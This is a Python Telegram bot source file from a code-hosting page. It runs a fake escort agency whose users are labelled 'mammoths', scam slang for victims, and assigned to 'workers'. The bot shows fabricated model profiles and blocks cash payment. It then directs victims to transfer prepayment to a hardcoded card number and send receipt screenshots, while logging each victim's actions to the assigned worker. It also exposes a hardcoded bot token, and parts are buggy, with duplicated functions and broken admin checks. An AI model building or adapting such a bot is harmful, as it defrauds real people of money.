/
distressedD
/
botik
Обзор
Документация
Войти
/
distressedD
/
botik
Код
Запросы
0
Задачи
Вики
Пакеты
0
Релизы
0
Аналитика
Безопасность
patch
123
605 строк
31 KB
distressedD
create 123
21 ноя 2024, 23:52
21 ноя 2024, 23:52
b78b80f
Код
Авторство
О чём код?
import telebot from telebot import types import random import os import json TOKEN = "7802775218:AAEbDA34u7cdzmELhbDlKKC4q9uhuCiXhdQ" ADMIN_ID = [7625271503, 7687933248, 7459858503] # Постоянный ID администратора bot = telebot.TeleBot(TOKEN) user_data = {} artist_data = {} worker_data = {} retry_limits = {} def save_data(filename, data): with open(filename, "w") as f: json.dump(data, f) def load_data(filename): if os.path.exists(filename): with open(filename, "r") as f: return json.load(f) return {} user_data = load_data("users.json") artist_data = load_data("artists.json") worker_data = load_data("workers.json") def log_action(user_id, username, action): # Определяем роль пользователя и выбор эмодзи role = "Админ" if user_id == ADMIN_ID else "Воркер" if user_id in worker_data else "Мамонт" emoji = "👮♂️" if role == "Админ" else "👤" if role == "Воркер" else "🐘" log_message = f"{emoji} {role} (ID {user_id} | @{username or 'N/A'}) {action}" # Логируем действия для администратора if user_id != ADMIN_ID: try: bot.send_message(ADMIN_ID, log_message) except Exception as e: print(f"Ошибка отправки лога администратору: {e}") # Логируем действия для воркера, если пользователь - Мамонт if role == "Мамонт": for worker_id, data in worker_data.items(): # Получаем список клиентов для текущего воркера clients = data.get("clients", []) if user_id in clients: try: bot.send_message(worker_id, log_message) except Exception as e: print(f"Ошибка отправки лога воркеру {worker_id}: {e}") @bot.message_handler(commands=['adwor']) def grant_worker_rights(message): # Проверяем, является ли пользователь администратором if message.from_user.id not in ADMIN_ID: bot.reply_to(message, "🚫 У вас нет доступа.") return msg = bot.reply_to(message, "🛠 Введите ID пользователя, чтобы назначить его воркером:") bot.register_next_step_handler(msg, process_worker_grant) # Обработка присвоения прав воркера def process_worker_grant(message): try: user_id = int(message.text) # Здесь вы можете добавить логику для присвоения прав юзеру bot.reply_to(message, f"🎉 Пользователю с ID {user_id} присвоены права воркера.") except ValueError: bot.reply_to(message, "⚠️ Ошибка: введите корректный числовой ID.") def process_worker_grant(message): user_id = message.text.strip() if user_id not in user_data: bot.reply_to(message, "❌ Пользователь не найден.") return worker_data[user_id] = {"clients": []} save_data("workers.json", worker_data) bot.reply_to(message, f"✅ Пользователь {user_id} назначен воркером.") @bot.message_handler(commands=['start']) def start(message): user_id = str(message.from_user.id) username = message.from_user.username or "Не указан" if user_id not in user_data: user_data[user_id] = { "username": username, "orders_count": 0 } save_data("users.json", user_data) log_action(user_id, username, "вошел в бота") welcome_message = "*🌟 Приветствуем вас в нашем Escort Агентстве MajesticGirls! 🌟*\n\n*✨ В нашем агенстве вы можете подобрать модель для отличного отдыха.*\n*Если вы у нас впервые, вы можете ознакомиться с информацией по кнопке снизу.*\n\n" keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("🏠 Главное меню", callback_data="main_menu")) bot.send_message(message.chat.id, welcome_message, parse_mode='Markdown', reply_markup=keyboard) @bot.callback_query_handler(func=lambda call: call.data == "main_menu") def show_main_menu(call): keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Найти девушку 💘", callback_data="find_girl")) keyboard.add(types.InlineKeyboardButton("Информация ℹ️", callback_data="info")) keyboard.add(types.InlineKeyboardButton("Мой профиль 👤", callback_data="my_profile")) if str(call.from_user.id) == str(ADMIN_ID) or str(call.from_user.id) in worker_data: keyboard.add(types.InlineKeyboardButton("Панель воркера 🛠", callback_data="worker_panel")) try: img_path = "images/glav.png" if os.path.exists(img_path): bot.delete_message(call.message.chat.id, call.message.id) # Удаляем предыдущее сообщение with open(img_path, 'rb') as img: bot.send_photo(call.message.chat.id, img, caption="🏠 Главное меню", reply_markup=keyboard) else: bot.edit_message_text("🏠 Главное меню", chat_id=call.message.chat.id, message_id=call.message.id, reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки главного меню с изображением: {e}") @bot.callback_query_handler(func=lambda call: call.data == "my_profile") def my_profile(call): user_id = str(call.from_user.id) user_info = user_data.get(user_id, {}) info_msg = ( f"👤 Имя пользователя: {user_info.get('username', 'Не указан')}\n" f"🆔 ID: {user_id}\n" f"📦 Количество заказов: {user_info.get('orders_count', 0)}\n" f"💸 Валюта: RUB" ) # Отладочное сообщение для проверки обрабатываемого ID print(f"[DEBUG] Обработка команды 'my_profile' для user_id: {user_id}") # Вызов логирования действия log_action(call.from_user.id, call.from_user.username, "посмотрел профиль") keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) try: img_path = "images/profile.png" if os.path.exists(img_path): bot.delete_message(call.message.chat.id, call.message.id) # Удаляем предыдущее сообщение with open(img_path, 'rb') as img: bot.send_photo(call.message.chat.id, img, caption=info_msg, reply_markup=keyboard) else: bot.edit_message_text(info_msg, chat_id=call.message.chat.id, message_id=call.message.id, reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки профиля с изображением: {e}") def log_action(user_id, username, action): # Определяем эмодзи для пользователя emoji = "🐘" # Эмодзи для "мамонтов" log_message = f"{emoji} Мамонт (ID:{user_id} | @{username or 'N/A'}) {action}" # Отправляем лог воркерам, к которым привязан пользователь for worker_id, data in worker_data.items(): clients = data.get("clients", []) if str(user_id) in clients: try: bot.send_message(worker_id, log_message) print(f"Отправлен лог воркеру {worker_id}: {log_message}") # отладочная печать except Exception as e: print(f"Ошибка отправки лога воркеру {worker_id}: {e}") @bot.callback_query_handler(func=lambda call: call.data == "info") def info(call): info_msg = "Majestic Girls - предлагает быстрый и удобный поиск, позволяя легко и оперативно найти идеального партнера для любого мероприятия.\n\nНаши услуги предназначены для тех, кто ищет элегантного и надежного партнера для особых мероприятий, деловых встреч или просто приятного времяпрепровождения.\n\nМы понимаем, что у каждого клиента свои уникальные потребности и пожелания. Наши специалисты готовы предложить индивидуальные решения, чтобы каждая встреча соответствовала вашим ожиданиям и предпочтениям.\n\nМы гарантируем, что каждая встреча с нашими эскорт-партнерами станет для вас незабываемым событием, полным позитивных эмоций и комфорта. Ваша удовлетворенность — наш главный приоритет.\n\nБот создан от проекта — majestic-rp.ru \n\n" log_action(call.from_user.id, call.from_user.username, "посмотрел информацию") keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Соглашение", url="https://telegra.ph/Majestic-Girls---polzovatelskoe-soglashenie-dlya-klientov-07-17")) keyboard.add(types.InlineKeyboardButton("Канал отзывов", url="https://t.me/+UKCmad5mUbNhODYy")) keyboard.add(types.InlineKeyboardButton("Тех. Поддержка", url="http://t.me/HelperMajesticGirls_bot?=1")) keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) try: img_path = "images/info.png" if os.path.exists(img_path): bot.delete_message(call.message.chat.id, call.message.id) # Удаляем предыдущее сообщение with open(img_path, 'rb') as img: bot.send_photo(call.message.chat.id, img, caption=info_msg, reply_markup=keyboard) else: bot.edit_message_text(info_msg, chat_id=call.message.chat.id, message_id=call.message.id, reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки информации с изображением: {e}") @bot.callback_query_handler(func=lambda call: call.data == "find_girl") def find_girl(call): log_action(call.from_user.id, call.from_user.username, "ищет анкету") msg = bot.send_message(call.message.chat.id, "🔍 Введите код модели:") bot.register_next_step_handler(msg, process_find_girl, call.from_user.id) def process_find_girl(message, user_id): artist_code = message.text.strip() if artist_code in artist_data: artist = artist_data[artist_code] log_action(user_id, message.from_user.username, f"нашел анкету по коду: {artist_code}") profile_msg = ( f"🌟 *Статус:* {artist['status']}\n" f"🏙 *Город:* {artist['city']}\n" f"👩 *Имя:* {artist['name']}\n\n" f"🌆 *Час:* {format_price(artist['price_hour'])} RUB\n" f"🏙 *Три часа:* {format_price(artist['price_3hours'])} RUB\n" f"🌃 *Ночь:* {format_price(artist['price_night'])} RUB" ) keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Оформить 💼", callback_data=f"book_{artist_code}")) keyboard.add(types.InlineKeyboardButton("Вернуться назад ↩️", callback_data="find_girl")) bot.send_photo(message.chat.id, artist["photo"], caption=profile_msg, parse_mode='Markdown', reply_markup=keyboard) else: bot.send_message(message.chat.id, "❌ Анкета не найдена. Попробуйте снова.", reply_markup=get_back_keyboard()) @bot.callback_query_handler(func=lambda call: call.data.startswith("book_")) def book_artist(call): artist_code = call.data.split("_")[1] if artist_code not in artist_data: bot.reply_to(call.message, "❌ Ошибка: анкета модели не найдена.") return keyboard = types.InlineKeyboardMarkup(row_width=1) keyboard.add( types.InlineKeyboardButton("🌆 Один час", callback_data=f"duration_{artist_code}_1hour"), types.InlineKeyboardButton("🏙 Три часа", callback_data=f"duration_{artist_code}_3hours"), types.InlineKeyboardButton("🌃 Ночь", callback_data=f"duration_{artist_code}_night") ) keyboard.add(types.InlineKeyboardButton("Вернуться назад ↩️", callback_data=f"find_girl")) try: bot.delete_message(call.message.chat.id, call.message.id) except Exception as e: print(f"Ошибка удаления сообщения: {e}") bot.send_message(call.message.chat.id, "⏳ Выберите длительность встречи:", reply_markup=keyboard) @bot.callback_query_handler(func=lambda call: call.data.startswith("duration_")) def choose_payment_method(call): try: _, artist_code, duration = call.data.split("_") except ValueError as e: print(f"Ошибка разбора данных: {e}") bot.send_message(call.message.chat.id, "Произошла ошибка. Попробуйте снова.", reply_markup=get_back_keyboard()) return log_action(call.from_user.id, call.from_user.username, f"выбрал {duration}") keyboard = types.InlineKeyboardMarkup(row_width=1) keyboard.add( types.InlineKeyboardButton("Наличные 💵", callback_data=f"paycash_{artist_code}_{duration}"), types.InlineKeyboardButton("Безналичные 💳", callback_data=f"paycard_{artist_code}_{duration}"), types.InlineKeyboardButton("Вернуться назад ↩️", callback_data=f"book_{artist_code}") ) try: bot.delete_message(call.message.chat.id, call.message.id) except Exception as e: print(f"Ошибка удаления сообщения: {e}") bot.send_message(call.message.chat.id, "💰 Выберите способ оплаты:", reply_markup=keyboard) @bot.callback_query_handler(func=lambda call: call.data.startswith("paycash_")) def pay_cash(call): log_action(call.from_user.id, call.from_user.username, "пытался оформить за наличные") keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) try: bot.delete_message(call.message.chat.id, call.message.id) except Exception as e: print(f"Ошибка удаления сообщения: {e}") bot.send_message(call.message.chat.id, "❌ Ошибка: для оплаты наличными вам необходимо сначала совершить 3 заказа.", reply_markup=keyboard) @bot.callback_query_handler(func=lambda call: call.data.startswith("paycard_")) def pay_card(call): try: _, artist_code, duration = call.data.split("_") except ValueError as e: print(f"Ошибка разбора данных: {e}") bot.send_message(call.message.chat.id, "Произошла ошибка. Попробуйте снова.", reply_markup=get_back_keyboard()) return artist_info = artist_data.get(artist_code, None) if not artist_info: bot.send_message(call.message.chat.id, "Анкета модели не найдена. Попробуйте снова.", reply_markup=get_back_keyboard()) return amount = { "1hour": artist_info["price_hour"], "3hours": artist_info["price_3hours"], "night": artist_info["price_night"] }.get(duration, "N/A") payment_number = random.randint(10000, 99999) payment_message = ( f"🎫 *Заявка №{payment_number}*\n\n" f"💳 Для оформления переведите указанную сумму по номеру карты.\n\n" f"💳 *Карта:* `2200152983541601`\n" f"💰 *Сумма:* {format_price(amount)} RUB\n\n" "❗️*Обратите внимание на сумму платежа. При переводе суммы, отличающейся от указанной в заявке, средства будут утеряны.*❗️" ) log_action(call.from_user.id, call.from_user.username, f"получил заявку на безналичное оформление (сумма: {format_price(amount)} RUB)") try: bot.delete_message(call.message.chat.id, call.message.id) except Exception as e: print(f"Ошибка удаления сообщения: {e}") bot.send_message(call.message.chat.id, payment_message, parse_mode='Markdown', reply_markup=get_back_keyboard()) send_payment_request(call.message.chat.id, artist_code, duration, amount) def send_payment_request(user_id, artist_code, duration, amount): keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) bot.send_message(user_id, "📤 Пожалуйста, отправьте квитанцию об оплате в этот чат.(скриншот перевода)", reply_markup=keyboard) bot.register_next_step_handler_by_chat_id(user_id, lambda msg: handle_cheque_submission(msg, user_id, artist_code, duration, amount)) def handle_cheque_submission(message, user_id, artist_code, duration, amount): if message.content_type == "photo": photo_id = message.photo[-1].file_id # Логируем действия пользователя log_action(user_id, message.from_user.username, f"отправил чек (сумма: {format_price(amount)} RUB)") # Отправляем чек только воркеру и не логуем для админа log_and_notify_cheque(message, user_id, amount, photo_id) def log_and_notify_cheque(message, user_id, amount, photo_id): # Приведение user_id к строке для корректного сравнения user_id_str = str(user_id) worker_id = None # Находим воркера, к которому привязан пользователь for wid, data in worker_data.items(): if user_id_str in data.get("clients", []): worker_id = wid break # Получаем имя пользователя или устанавливаем его как 'N/A' username = message.from_user.username or 'N/A' # Формируем сообщение для лога log_message = ( f"🧾 Чек от ID {user_id_str} | @{username}\n" f"💰 Сумма: {format_price(amount)} RUB\n" ) # Проверяем, является ли определённый воркер администратором if worker_id and worker_id != ADMIN_ID: # Создаем клавиатуру для воркера keyboard_worker = types.InlineKeyboardMarkup() keyboard_worker.add(types.InlineKeyboardButton("Одобрить ✅", callback_data=f"approve_check_{user_id_str}")) keyboard_worker.add(types.InlineKeyboardButton("Отклонить ❌", callback_data=f"reject_check_{user_id_str}")) try: # Отправляем чек воркеру с кнопками bot.send_photo(worker_id, photo_id, caption=log_message, reply_markup=keyboard_worker) except Exception as e: print(f"Ошибка отправки чека воркеру: {e}") else: print(f"Воркер для пользователя с ID {user_id_str} не найден или является администратором.") @bot.callback_query_handler(func=lambda call: call.data.startswith("approve_check_")) def approve_check(call): user_id = call.data.split("_")[2] keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Тех. поддержка", url="http://t.me/HelperMajesticGirls_bot?=1")) try: bot.send_message(user_id, f"✅ Ваш чек был одобрен. Пожалуйста, свяжитесь с техподдержкой для дальнейших инструкций\n🆘 Для связи с поддержкой нажмите ниже:", reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки сообщения пользователю {user_id}: {e}") @bot.callback_query_handler(func=lambda call: call.data.startswith("reject_check_")) def reject_check(call): user_id = call.data.split("_")[2] keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) try: bot.send_message(user_id, "❌ Ваш чек не был одобрен.") bot.send_message(user_id, "Попробуйте повторить попытку.", reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки сообщения пользователю {user_id}: {e}") @bot.callback_query_handler(func=lambda call: call.data.startswith("reject_check_")) def reject_check(call): user_id = call.data.split("_")[2] try: bot.send_message(user_id, "❌ Ваш чек не был одобрен.") keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) bot.send_message(user_id, "Попробуйте повторить попытку.", reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки сообщения пользователю {user_id}: {e}") @bot.callback_query_handler(func=lambda call: call.data == "worker_panel") def worker_panel(call): user_id = str(call.from_user.id) if user_id == str(ADMIN_ID) or user_id in worker_data: keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Рассылка 📩", callback_data="worker_broadcast")) keyboard.add(types.InlineKeyboardButton("Создать анкету ✍️", callback_data="worker_create_artist")) keyboard.add(types.InlineKeyboardButton("Удалить анкету 🗑", callback_data="worker_delete_artist")) keyboard.add(types.InlineKeyboardButton("Посмотреть анкету 🔍", callback_data="worker_view_artist")) keyboard.add(types.InlineKeyboardButton("Привязать мамонта 📌", callback_data="worker_bind_client")) keyboard.add(types.InlineKeyboardButton("Список мамонтов 📋", callback_data="worker_client_list")) keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) try: bot.delete_message(call.message.chat.id, call.message.id) # Удаляем предыдущее сообщение bot.send_message(call.message.chat.id, "Панель воркера", reply_markup=keyboard) except Exception as e: print(f"Ошибка отправки панели воркера: {e}") else: bot.answer_callback_query(call.id, "У вас нет доступа к этой функции.") @bot.callback_query_handler(func=lambda call: call.data.startswith("worker_")) def handle_worker_commands(call): user_id = str(call.from_user.id) if user_id not in worker_data and user_id != str(ADMIN_ID): bot.answer_callback_query(call.id, "У вас нет доступа к этой функции.") return if call.data == "worker_broadcast": msg = bot.send_message(call.message.chat.id, "Введите сообщение для рассылки:") bot.register_next_step_handler(msg, lambda x: worker_broadcast(x, user_id)) elif call.data == "worker_create_artist": msg = bot.send_message(call.message.chat.id, "Пожалуйста, отправьте фотографию артиста:") bot.register_next_step_handler(msg, lambda x: process_worker_artist_photo(x, user_id)) elif call.data == "worker_delete_artist": msg = bot.send_message(call.message.chat.id, "Введите код анкеты для удаления:") bot.register_next_step_handler(msg, lambda x: worker_delete_artist(x, user_id)) elif call.data == "worker_view_artist": if user_id == str(ADMIN_ID): view_all_artists(call.message) else: view_artists_created_by_worker(call.message, user_id) elif call.data == "worker_bind_client": msg = bot.send_message(call.message.chat.id, "Введите ID пользователя, чтобы привязать его:") bot.register_next_step_handler(msg, lambda x: bind_client_to_worker(x, user_id)) elif call.data == "worker_client_list": list_clients(call.message, user_id) def worker_broadcast(message, worker_id): clients = worker_data.get(worker_id, {}).get("clients", []) for client_id in clients: bot.send_message(client_id, message.text) bot.reply_to(message, "📨 Сообщение успешно разослано вашим пользователям.") def process_worker_artist_photo(message, creator_id): if message.content_type != 'photo': bot.reply_to(message, "❌ Пожалуйста, загрузите фотографию.") return photo_file_id = message.photo[-1].file_id msg = bot.send_message(message.chat.id, "Введите данные для анкеты в формате:\nСтатус\n Город\n Имя\n Цена_за_час\n Цена_за_3_часа\n Цена_за_ночь:\n") bot.register_next_step_handler(msg, lambda x: worker_process_artist_data(x, photo_file_id, creator_id)) def worker_process_artist_data(message, photo_file_id, creator_id): data = message.text.split(maxsplit=5) if len(data) != 6: bot.reply_to(message, "❌ Некорректный формат. Пожалуйста, повторите ввод.") return status, city, name, price_hour, price_3hours, price_night = data code = str(random.randint(10000, 99999)) artist_data[code] = { "status": status, "city": city, "name": name, "price_hour": int(price_hour.replace('.', '')), "price_3hours": int(price_3hours.replace('.', '')), "price_night": int(price_night.replace('.', '')), "photo": photo_file_id, "creator_id": creator_id } save_data("artists.json", artist_data) bot.reply_to(message, f"✅ Анкета добавлена под кодом: {code}.\n📸 Фотография успешно сохранена.") def worker_delete_artist(message, user_id): artist_code = message.text.strip() if artist_code in artist_data: if artist_data[artist_code].get('creator_id') == user_id or str(message.from_user.id) == str(ADMIN_ID): del artist_data[artist_code] save_data("artists.json", artist_data) bot.reply_to(message, "Анкета успешно удалена.") else: bot.reply_to(message, "❌ У вас нет прав на удаление этой анкеты.") else: bot.reply_to(message, "Анкета не найдена.") def view_all_artists(message): if not artist_data: bot.reply_to(message, "Нет доступных анкет.") return artist_list = "🎭 Доступные анкеты:\n" for code, artist in artist_data.items(): artist_list += f"🔹 Код: {code}, Имя: {artist['name']}\n" bot.reply_to(message, artist_list) def view_artists_created_by_worker(message, worker_id): worker_artists = {code: artist for code, artist in artist_data.items() if artist['creator_id'] == worker_id} if not worker_artists: bot.reply_to(message, "Вы еще не создавали анкеты.") return artist_list = "🎭 Ваши анкеты:\n" for code, artist in worker_artists.items(): artist_list += f"🔹 Код: {code}, Имя: {artist['name']}\n" bot.reply_to(message, artist_list) def bind_client_to_worker(message, worker_id): client_id = message.text.strip() if client_id in worker_data or client_id == str(ADMIN_ID): bot.reply_to(message, "❌ Вы не можете привязать воркера или администратора как клиента.") else: if client_id not in user_data: bot.reply_to(message, "❌ Пользователь не найден.") else: worker_data[worker_id]["clients"].append(client_id) save_data("workers.json", worker_data) bot.reply_to(message, f"✅ Пользователь {client_id} успешно привязан.") def list_clients(message, worker_id): clients = worker_data.get(worker_id, {}).get("clients", []) if not clients: bot.reply_to(message, "Нет привязанных пользователей.") return client_list = "📋 Привязанные пользователи:\n" for client_id in clients: username = user_data[client_id]["username"] client_list += f"🔹 ID: {client_id}, Username: @{username}\n" bot.reply_to(message, client_list) def get_back_keyboard(): keyboard = types.InlineKeyboardMarkup() keyboard.add(types.InlineKeyboardButton("Вернуться обратно ↩️", callback_data="main_menu")) return keyboard def format_price(amount): return f"{int(amount):,}".replace(",", ".") if __name__ == "__main__": bot.polling(none_stop=True)